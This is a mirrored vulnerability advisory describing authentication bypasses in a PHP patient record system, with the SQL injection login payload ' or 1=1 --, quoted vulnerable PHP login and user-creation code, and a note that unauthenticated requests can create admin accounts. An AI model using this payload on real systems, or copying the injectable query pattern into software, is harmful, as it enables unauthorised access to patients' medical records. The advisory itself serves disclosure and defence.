online healthcare patient record management system 1.0 authentication bypass

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




online healthcare patient record management system 1.0 authentication bypass Code Code...
				
# Exploit Title: Online Healthcare Patient Record Management System 1.0 - Authentication Bypass # Google Dork: N/A # Date: 2020-05-18 # Exploit Author: Daniel Monzón (stark0de) # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14217/online-healthcare-patient-record-management-system-using-phpmysql.html # Version: N/A # Tested on: Kali Linux 2020.2 x64 # CVE : N/A The Online Healthcare Patient Record Management System suffers from multiple authentication bypass vulnerabilities: The login.php file allows a user to just supply ‘ or 1=1 – as a username and whatever password and bypass the authentication <?php session_start(); if(ISSET($_POST['login'])){ $username = $_POST['username']; $password = $_POST['password']; $conn = new mysqli("localhost", "root", "", "hcpms") or die(mysqli_error()); $query = $conn->query("SELECT * FROM `user` WHERE `username` = '$username' && `password` = '$password'") or die(mysqli_error()); The same happens with login.php for the admin area: <?php session_start(); $username = $_POST['username']; $password = $_POST['password']; if(ISSET($_POST['login'])){ $conn = new mysqli("localhost", "root", "", "hcpms") or die(mysqli_error()); $query = $conn->query("SELECT *FROM `admin` WHERE `username` = '$username' && `password` = '$password'") or die(mysqli_error()); $fetch = $query->fetch_array(); $valid = $query->num_rows; if($valid > 0){ $_SESSION['admin_id'] = $fetch['admin_id']; header("location:home.php"); There is also an authentication bypass issue located in add_user.php: <?php if(ISSET($_POST['save_user'])){ $username = $_POST['username']; $password = $_POST['password']; $firstname = $_POST['firstname']; $middlename = $_POST['middlename']; $lastname = $_POST['lastname']; $section = $_POST['section']; $conn = new mysqli("localhost", "root", "", "hcpms"); $q1 = $conn->query("SELECT * FROM `user` WHERE `username` = '$username'") or die(mysqli_error()); $f1 = $q1->fetch_array(); $c1 = $q1->num_rows; if($c1 > 0){ echo "<script>alert('Username already taken')</script>"; }else{ $conn->query("INSERT INTO `user` VALUES('', '$username', '$password', '$firstname', '$middlename', '$lastname', '$section')"); header("location: user.php"); } } If a request is made with the required parameters, any user can create an admin account (no authentication is required to do this). Finally, there are many SQL injection vulnerabilities (GET parameters directly passed to SQL queries), but those are authenticated

Online healthcare patient record management system 1.0 authentication bypass Vulnerability / Exploit Source : Online healthcare patient record management system 1.0 authentication bypass



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.